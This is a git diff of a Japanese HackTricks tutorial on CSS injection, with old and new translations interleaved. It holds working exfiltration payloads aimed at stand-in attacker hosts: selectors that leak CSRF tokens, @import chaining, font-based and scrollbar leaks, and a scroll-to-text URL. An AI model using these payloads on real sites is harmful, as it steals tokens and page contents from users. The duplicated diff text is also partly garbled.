|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に**参加** または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする**
|
||||
* **HackTricks と HackTricks Cloud** のGitHubリポジトリにPRを提出して **あなたのハッキングトリックを共有する**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,32 @@
|
|||
# CSS インジェクション
|
||||
# CSSインジェクション
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**。**
|
||||
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## CSS インジェクション
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## CSSインジェクション
|
||||
|
||||
### 属性セレクタ
|
||||
|
||||
CSS セレクタは、`input` 要素の `name` および `value` 属性の値に一致するように作成されます。入力要素の値属性が特定の文字で始まる場合、事前定義された外部リソースが読み込まれます。
|
||||
CSSセレクタは、`input`要素の`name`および`value`属性の値に一致するように作成されます。入力要素の値属性が特定の文字で始まる場合、事前定義された外部リソースが読み込まれます。
|
||||
```css
|
||||
input[name=csrf][value^=a]{
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
|
@ -39,19 +47,17 @@ input[name=csrf][value^=csrF] ~ * {
|
|||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
このテクニックを悪用する実践的な例が、提供されたコードスニペットで詳細に説明されています。[こちら](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)で確認できます。
|
||||
#### CSSインジェクションの事前条件
|
||||
|
||||
#### CSSインジェクションの前提条件
|
||||
CSSインジェクション技術を効果的に利用するためには、特定の条件を満たす必要があります:
|
||||
|
||||
CSSインジェクションテクニックを効果的に利用するためには、特定の条件を満たす必要があります:
|
||||
1. **ペイロードの長さ**:CSSインジェクションベクトルは、作成されたセレクタを収容するために十分に長いペイロードをサポートする必要があります。
|
||||
2. **CSSの再評価**:新しく生成されたペイロードでCSSの再評価をトリガーするために、ページをフレーム化する能力が必要です。
|
||||
3. **外部リソース**:この技術は、外部ホストされた画像を使用する能力を前提としています。これはサイトのコンテンツセキュリティポリシー(CSP)によって制限される可能性があります。
|
||||
|
||||
1. **ペイロードの長さ**: CSSインジェクションベクトルは、作成されたセレクタを収容するために十分に長いペイロードをサポートする必要があります。
|
||||
2. **CSSの再評価**: 新しく生成されたペイロードでCSSの再評価をトリガーするためにページをフレーム化する能力が必要です。
|
||||
3. **外部リソース**: このテクニックは、外部ホストされた画像を使用する能力を前提としています。これはサイトのコンテンツセキュリティポリシー(CSP)によって制限される可能性があります。
|
||||
### 盲目的属性セレクタ
|
||||
|
||||
### Blind属性セレクタ
|
||||
|
||||
[**この投稿で説明されているように**](https://portswigger.net/research/blind-css-exfiltration)、セレクタ **`:has`** と **`:not`** を組み合わせて、盲目的な要素からコンテンツを識別することが可能です。これは、CSSインジェクションをロードしているWebページ内に何が含まれているか全くわからない場合に非常に役立ちます。\
|
||||
[**この投稿で説明されているように**](https://portswigger.net/research/blind-css-exfiltration)、セレクタ **`:has`** と **`:not`** を組み合わせて、盲目的要素からコンテンツを識別することが可能です。これは、CSSインジェクションをロードしているWebページ内に何が含まれているか全くわからない場合に非常に役立ちます。\
|
||||
また、これらのセレクタを使用して、同じタイプの複数のブロックから情報を抽出することも可能です。
|
||||
```html
|
||||
<style>
|
||||
|
@ -62,34 +68,34 @@ background:url(/m);
|
|||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
以下は、**@import** 技術を使用して、**blind-css-exfiltration** からの**ブラインドページからのCSSインジェクションを使用して多くの情報を外部に送信**することが可能です。
|
||||
以下は、**@import** 技術を使用して、**blind-css-exfiltration** からのブラインドページからのCSSインジェクションを使用して多くの情報を外部に送信することが可能です。
|
||||
|
||||
### @import
|
||||
|
||||
前述の技術にはいくつかの欠点があります。前提条件を確認してください。被害者に**複数のリンクを送信できる必要がある**か、**CSSインジェクション脆弱なページにiframeを挿入できる必要がある**かのいずれかです。
|
||||
前述の技術にはいくつかの欠点があります。前提条件を確認してください。被害者に**複数のリンクを送信できる必要がある**か、**CSSインジェクション脆弱なページにiframeを挿入できる必要があります**。
|
||||
|
||||
ただし、**CSS `@import`** を使用して技術の品質を向上させる別の巧妙な技術があります。
|
||||
|
||||
これは、最初に[**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf)によって示され、次のように機能します:
|
||||
これは最初に[**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf)によって示され、次のように機能します。
|
||||
|
||||
前の技術とは異なり、何度も同じページを異なるペイロードでロードするのではなく、**攻撃者のサーバーにインポートするだけでページを1回だけロードします**(これが被害者に送信するペイロードです):
|
||||
前の技術とは異なり、何度も同じページを異なるペイロードで何十回も読み込むのではなく、**ページを1回だけ読み込み、攻撃者のサーバーにインポートする**(これが被害者に送信するペイロードです):
|
||||
```css
|
||||
@import url('//attacker.com:5001/start?');
|
||||
```
|
||||
1. 攻撃者から**いくつかのCSSスクリプト**を受け取り、**ブラウザがそれを読み込む**ことになります。
|
||||
2. 攻撃者が送信するCSSスクリプトの最初の部分は、**攻撃者のサーバーへの別の`@import`**です。
|
||||
2. 攻撃者が送信するCSSスクリプトの最初の部分は、**攻撃者のサーバーに再度`@import`**を行います。
|
||||
3. 攻撃者のサーバーはこのリクエストにまだ応答しません。いくつかの文字を漏洩させ、次のものを漏洩させるためにこのインポートに応答します。
|
||||
4. ペイロードの2番目で、**属性セレクタ漏洩ペイロード**が送信されます。
|
||||
5. これにより、攻撃者のサーバーには**秘密の最初の文字と最後の文字**が送信されます。
|
||||
6. 攻撃者のサーバーが**秘密の最初と最後の文字**を受け取ると、**ステップ2で要求されたインポートに応答**します。
|
||||
7. 応答は**ステップ2、3、4とまったく同じ**になりますが、今回は**秘密の2番目の文字を見つけ、その前の文字**を試みます。
|
||||
|
||||
攻撃者は**秘密を完全に漏洩する**まで、このループを**続けます**。
|
||||
攻撃者は**秘密を完全に漏洩するまで**このループを続けます。
|
||||
|
||||
元の[**Pepe Vilaのこのコードを悪用するためのコードはこちら**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)で見つけることができます。または、ほぼ同じ[**コードがこちらでコメントされています**。](./#css-injection)
|
||||
元の[**Pepe Vilaのこのコードを悪用するためのコードはこちら**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)で見つけることができます。または、ほぼ同じ[**コメント付きのコードはこちら**](./#css-injection)です。
|
||||
|
||||
{% hint style="info" %}
|
||||
スクリプトは、属性セレクタを使用して次のようなことができるため、**最初と最後からそれぞれ2文字を見つけようとします**。
|
||||
スクリプトは、属性セレクタを使用して次のような操作が可能であるため、毎回2文字を発見しようとします(先頭からおよび末尾から):
|
||||
```css
|
||||
/* value^= to match the beggining of the value*/
|
||||
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||
|
@ -98,20 +104,19 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
|||
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
||||
```
|
||||
これにより、スクリプトが秘密をより速く漏洩させることができます。
|
||||
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
時々、スクリプトは**発見された接頭辞+接尾辞が既に完全なフラグであることを正しく検出しない**ことがあり、それに続いて(接頭辞で)前方に、(接尾辞で)後方に進み、ある時点で停止します。\
|
||||
心配いりません、単に**出力を確認**してください、**そこにフラグが表示されます**。
|
||||
時々、スクリプトは**発見された接頭辞+接尾辞がすでに完全なフラグであることを正しく検出しない**ことがあり、前方(接頭辞)および後方(接尾辞)に進み続け、ある時点で停止します。\
|
||||
心配いりません、**出力を確認するだけで**、**フラグをそこで見ることができます**。
|
||||
{% endhint %}
|
||||
|
||||
### その他のセレクタ
|
||||
|
||||
**CSSセレクタ**を使用してDOMの部分にアクセスする他の方法:
|
||||
**CSSセレクタ**を使用してDOMパーツにアクセスする他の方法:
|
||||
|
||||
* **`.class-to-search:nth-child(2)`**: これはDOM内のクラスが"class-to-search"である2番目のアイテムを検索します。
|
||||
* **`:empty`**セレクタ:例として、[**この解説**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**に使用されます**:
|
||||
* **`:empty`**セレクタ:例として、[**この解説**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**で使用されています**:
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
|
||||
|
@ -119,9 +124,9 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
|||
|
||||
### エラーベースのXS-Search
|
||||
|
||||
**参考:** [CSSベースの攻撃:@font-faceのunicode-rangeを悪用](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [@terjanqによるエラーベースのXS-Search PoC](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**参考:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
全体的な意図は、**制御されたエンドポイントからカスタムフォントを使用**し、指定されたリソース(`favicon.ico`)が読み込まれない場合にのみ、**テキスト(この場合は 'A')がこのフォントで表示されることを確認する**ことです。
|
||||
全体的な意図は、**制御されたエンドポイントからカスタムフォントを使用**し、**指定されたリソース(`favicon.ico`)が読み込まれない場合にのみ、テキスト(この場合は 'A')がこのフォントで表示されるようにすることです。
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -147,24 +152,24 @@ font-family: 'poc';
|
|||
```
|
||||
1. **カスタムフォントの使用**:
|
||||
- カスタムフォントは、`<head>`セクション内の`<style>`タグで`@font-face`ルールを使用して定義されます。
|
||||
- フォントの名前は`poc`で、外部エンドポイント(`http://attacker.com/?leak`)から取得されます。
|
||||
- `unicode-range`プロパティは、特定のUnicode文字「A」をターゲットとする`U+0041`に設定されています。
|
||||
- フォントの名前は`poc`であり、外部エンドポイント(`http://attacker.com/?leak`)から取得されます。
|
||||
- `unicode-range`プロパティは、特定のUnicode文字 'A' をターゲットとする`U+0041`に設定されています。
|
||||
|
||||
2. **フォールバックテキストを持つオブジェクト要素**:
|
||||
- `<body>`セクションに`id="poc0"`を持つ`<object>`要素が作成されます。この要素は`http://192.168.0.1/favicon.ico`からリソースを読み込もうとします。
|
||||
- この要素の`font-family`は、`<style>`セクションで定義された`'poc'`に設定されています。
|
||||
- リソース(`favicon.ico`)の読み込みに失敗した場合、`<object>`タグ内のフォールバックコンテンツ(文字「A」)が表示されます。
|
||||
- 外部リソースが読み込めない場合、フォールバックコンテンツ(「A」)はカスタムフォント`poc`を使用してレンダリングされます。
|
||||
- リソース(`favicon.ico`)の読み込みに失敗した場合、`<object>`タグ内のフォールバックコンテンツ(文字 'A')が表示されます。
|
||||
- 外部リソースが読み込めない場合、フォールバックコンテンツ('A')はカスタムフォント`poc`を使用してレンダリングされます。
|
||||
|
||||
### スクロールしてテキストフラグメントをスタイリングする
|
||||
### スタイリングされたスクロールテキストフラグメント
|
||||
|
||||
**`:target`**疑似クラスは、[CSSセレクタレベル4仕様](https://drafts.csswg.org/selectors-4/#the-target-pseudo)で指定されているように、**URLフラグメント**によってターゲット化された要素を選択するために使用されます。`::target-text`は、テキストが明示的にフラグメントでターゲット化されていない限り、どの要素にも一致しません。
|
||||
**`:target`**疑似クラスは、[CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo)で指定されているように、**URLフラグメント**によってターゲット化された要素を選択するために使用されます。`::target-text`は、テキストが明示的にフラグメントによってターゲット化されていない限り、どの要素にも一致しません。
|
||||
|
||||
攻撃者が**スクロールしてテキスト**フラグメント機能を悪用すると、HTMLインジェクションを介して自サーバーからリソースを読み込むことで、特定のテキストがウェブページに存在することを確認できるセキュリティ上の懸念が生じます。この方法は、次のようなCSSルールをインジェクトすることを含みます:
|
||||
攻撃者が**スクロールテキスト**フラグメント機能を悪用すると、HTMLインジェクションを介して自身のサーバーからリソースを読み込むことで、特定のテキストの存在を確認できるようになり、セキュリティ上の懸念が生じます。この方法は、次のようなCSSルールをインジェクトすることを含みます:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
以下のようなシナリオでは、ページにテキスト「管理者」が存在する場合、サーバーからリソース `target.png` がリクエストされ、テキストの存在が示されます。この攻撃のインスタンスは、注入されたCSSをスクロールテキストフラグメントと一緒に埋め込んだ特別に作成されたURLを介して実行できます:
|
||||
以下のようなシナリオでは、ページに「管理者」というテキストが存在する場合、サーバーからリソース `target.png` がリクエストされ、テキストの存在が示されます。この攻撃のインスタンスは、注入されたCSSと一緒にスクロールテキストフラグメントを埋め込んだ特別に作成されたURLを介して実行できます:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
|
@ -172,19 +177,15 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
|
|||
|
||||
緩和策として、以下の点に注意する必要があります:
|
||||
|
||||
1. **制約されたSTTFマッチング**:Scroll-to-text Fragment(STTF)は単語や文章のみにマッチするよう設計されており、任意の秘密情報やトークンを漏洩させる能力が制限されています。
|
||||
2. **トップレベルブラウジングコンテキストへの制限**:STTFはトップレベルのブラウジングコンテキストでのみ動作し、iframe内では機能しないため、攻撃の試みがユーザーによりより目立つものとなります。
|
||||
3. **ユーザーアクティベーションの必要性**:STTFはユーザーアクティベーションのジェスチャーを必要とするため、攻撃はユーザーが起動したナビゲーションを通じてのみ実行可能です。この要件により、攻撃がユーザーの介入なしに自動化されるリスクがかなり軽減されます。ただし、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのやり取り)を指摘しています。
|
||||
1. **制約されたSTTFマッチング**:Scroll-to-text Fragment(STTF)は、単語や文章のみに一致するよう設計されており、任意の秘密情報やトークンを漏洩させる能力が制限されています。
|
||||
2. **トップレベルブラウジングコンテキストへの制限**:STTFはトップレベルのブラウジングコンテキストでのみ動作し、iframe内では機能しないため、攻撃試行がユーザーによりより目立つものとなります。
|
||||
3. **ユーザーアクティベーションの必要性**:STTFはユーザーアクティベーションジェスチャーを必要とし、そのため、攻撃はユーザーによるナビゲーションを介してのみ実行可能です。この要件により、攻撃がユーザーの介入なしに自動化されるリスクがかなり軽減されます。ただし、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのやり取り)を指摘しています。
|
||||
|
||||
これらのメカニズムと潜在的な脆弱性に対する認識は、Webセキュリティを維持し、このような悪用的な手法に対抗するための鍵となります。
|
||||
|
||||
詳細については、元のレポートをご確認ください:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
このテクニックを使用したCTFの[**エクスプロイトはこちらから**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)確認できます。
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**特定のUnicode値に対して外部フォントを指定**することができ、そのUnicode値がページに存在する場合にのみ**収集される**ようになります。例:
|
||||
このテクニックを使用したCTFの**エクスプロイトはこちら**をご確認いただけます。
|
||||
```html
|
||||
<style>
|
||||
@font-face{
|
||||
|
@ -213,7 +214,7 @@ font-family:poc;
|
|||
|
||||
**参考:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
説明されている技術は、フォントリガチャを悪用してノードからテキストを抽出し、幅の変化を監視することに関わります。プロセスは以下の手順を経ます:
|
||||
説明されている技術は、フォントリガチャを悪用してノードからテキストを抽出し、幅の変化を監視することに関与します。プロセスは以下の手順に従います:
|
||||
|
||||
1. **カスタムフォントの作成**:
|
||||
- SVGフォントは、`horiz-adv-x`属性を持つグリフを持つように作成されます。これにより、2文字のシーケンスを表すグリフの幅が大きく設定されます。
|
||||
|
@ -230,24 +231,24 @@ body::-webkit-scrollbar { background: blue; }
|
|||
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
|
||||
```
|
||||
|
||||
3. **悪用プロセス**:
|
||||
- **ステップ1**: 幅の大きい文字のペアのためのフォントが作成されます。
|
||||
- **ステップ2**: 大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされたときを検出するために、スクロールバーを利用したトリックが使用されます。
|
||||
- **ステップ3**: リガチャを検出した後、検出されたペアを組み込み、前後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。
|
||||
3. **攻撃プロセス**:
|
||||
- **ステップ1**: 文字のペアの幅が大きいフォントが作成されます。
|
||||
- **ステップ2**: 大きな幅のグリフ(文字のペアのリガチャ)がレンダリングされたときに検出されるスクロールバーのトリックが使用され、文字シーケンスの存在が示されます。
|
||||
- **ステップ3**: リガチャが検出されると、検出されたペアを組み込み、前後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。
|
||||
- **ステップ4**: 3文字のリガチャの検出が行われます。
|
||||
- **ステップ5**: プロセスが繰り返され、徐々に全体のテキストが明らかになります。
|
||||
|
||||
4. **最適化**:
|
||||
- 現在の`<meta refresh=...`を使用した初期化方法は最適ではありません。
|
||||
- より効率的なアプローチは、CSSの`@import`トリックを使用して、悪用のパフォーマンスを向上させることができます。
|
||||
- より効率的なアプローチは、CSSの`@import`トリックを使用して、攻撃のパフォーマンスを向上させることができます。
|
||||
|
||||
### テキストノードの情報漏洩(II):デフォルトフォントを使用して文字セットを漏洩する(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### テキストノードの情報漏洩(II):デフォルトフォントを使用して文字セットを漏洩(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
このトリックは、この[**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/)で公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされている**デフォルトフォント**を使用して漏洩させることができます:外部 -またはカスタム- フォントは必要ありません。
|
||||
|
||||
このコンセプトは、アニメーションを利用して`div`の幅を段階的に拡大し、1文字ずつ '接尾辞' 部分から '接頭辞' 部分に移行させることを中心に展開されます。このプロセスにより、テキストは次の2つのセクションに分割されます:
|
||||
このコンセプトは、アニメーションを利用して`div`の幅を段階的に拡大し、1文字ずつテキストの「接尾辞」部分から「接頭辞」部分に移行させることを中心に展開されます。このプロセスにより、テキストは次の2つのセクションに分割されます:
|
||||
|
||||
1. **接頭辞**: 初期の行。
|
||||
2. **接尾辞**: 後続の行。
|
||||
|
@ -265,9 +266,10 @@ B
|
|||
|
||||
**CADB**
|
||||
|
||||
この遷移中、**unicode-rangeトリック**が使用され、新しい文字が接頭辞に加わるたびにそれを識別します。これは、フォントをComic Sansに切り替えることによって達成されます。これはデフォルトのフォントよりも高いため、垂直スクロールバーがトリガーされます。このスクロールバーの表示により、接頭辞に新しい文字が存在することが間接的に明らかになります。
|
||||
|
||||
この方法は、新しい文字が現れるたびに一意の文字を検出することを可能にしますが、繰り返される文字を特定するわけではありません。
|
||||
この遷移中、**unicode-rangeトリック**が使用され、各新しい文字が接頭辞に加わるたびに識別されます。これは、デフォルトフォントよりも明らかに高いComic Sansフォントにフォントを切り替えることによって達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの表示により、接頭辞に新しい文字が存在することが間接的に明らかになります。
|
||||
|
||||
この方法は、新しい文字が表示されるたびに一意の文字を検出することを可能にしますが、繰り返された文字がどれであるかを特定しません。
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
|
||||
|
@ -378,6 +380,7 @@ text-transform: uppercase; /* only capital letters leak */
|
|||
3% { width: 60px }
|
||||
4% { width: 80px }
|
||||
4% { width: 100px }
|
||||
```css
|
||||
5% { width: 120px }
|
||||
6% { width: 140px }
|
||||
7% { width: 0px }
|
||||
|
@ -394,13 +397,13 @@ background: blue var(--leak);
|
|||
```
|
||||
### テキストノードの情報漏洩(III):デフォルトフォントを使用して要素を非表示にすることで文字セットを漏洩する(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参照:** これは[この解説で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**参照:** これは[この解説記事で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
このケースは前のものと非常に似ていますが、この場合、特定の**文字を他の文字より大きくする目的は、ボットに押されないようにするためのボタンや読み込まれない画像などを非表示にする**ことです。そのため、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。
|
||||
このケースは前のものと非常に似ていますが、この場合、特定の**文字を他の文字より大きくする目的は、ボットに押されないようにするためのボタンを隠したり、読み込まれない画像を隠したりすること**です。そのため、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。
|
||||
|
||||
### テキストノードの情報漏洩(III):キャッシュタイミングによる文字セットの漏洩(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参照:** これは[この解説で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**参照:** これは[この解説記事で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
この場合、同じオリジンから偽のフォントを読み込むことで、テキスト内に特定の文字が含まれているかどうかを漏洩しようとすることができます。
|
||||
```css
|
||||
|
@ -412,13 +415,13 @@ unicode-range: U+0041;
|
|||
```
|
||||
もし一致があれば、**フォントは `/static/bootstrap.min.css?q=1` から読み込まれます**。読み込みは成功しませんが、**ブラウザはそれをキャッシュ**し、キャッシュがなくても、**304 Not Modified** のメカニズムがあるため、**他のものよりも応答が速くなるはず**です。
|
||||
|
||||
ただし、キャッシュされた応答と非キャッシュされた応答の時間差が十分に大きくない場合、これは役立ちません。たとえば、著者は次のように述べています: しかし、テストの結果、最初の問題は速度があまり変わらないことであり、2番目の問題はボットが `disk-cache-size=1` フラグを使用していることですが、これは本当に考えられています。
|
||||
ただし、キャッシュされた応答と非キャッシュされた応答の時間差が十分に大きくない場合、これは役立ちません。たとえば、著者は次のように述べています: ただし、テストの結果、最初の問題は速度があまり変わらないことであり、2番目の問題はボットが `disk-cache-size=1` フラグを使用していることですが、これは本当に考えられています。
|
||||
|
||||
### テキストノードの情報漏洩(III): 数百のローカル "フォント" を読み込むことで文字セットをタイミングで漏洩する(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### テキストノードの情報漏洩(III): 数百のローカル "フォント" を読み込むことで文字セットを漏洩する(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参照:** これは [この解説記事で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**参照:** これは[この解説で成功しなかった解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
この場合、一致が発生したときに**CSSを使用して同じオリジンから数百の偽のフォントを読み込む**ように指定できます。この方法で**かかる時間**を測定し、文字が表示されるかどうかを次のように調べることができます:
|
||||
この場合、一致が発生したときに**CSSを使用して同じオリジンから数百の偽のフォントを読み込む**ように指定できます。この方法で**かかる時間**を測定し、何らかの方法で文字が表示されるかどうかを調べることができます。
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -442,16 +445,22 @@ time.sleep(30)
|
|||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
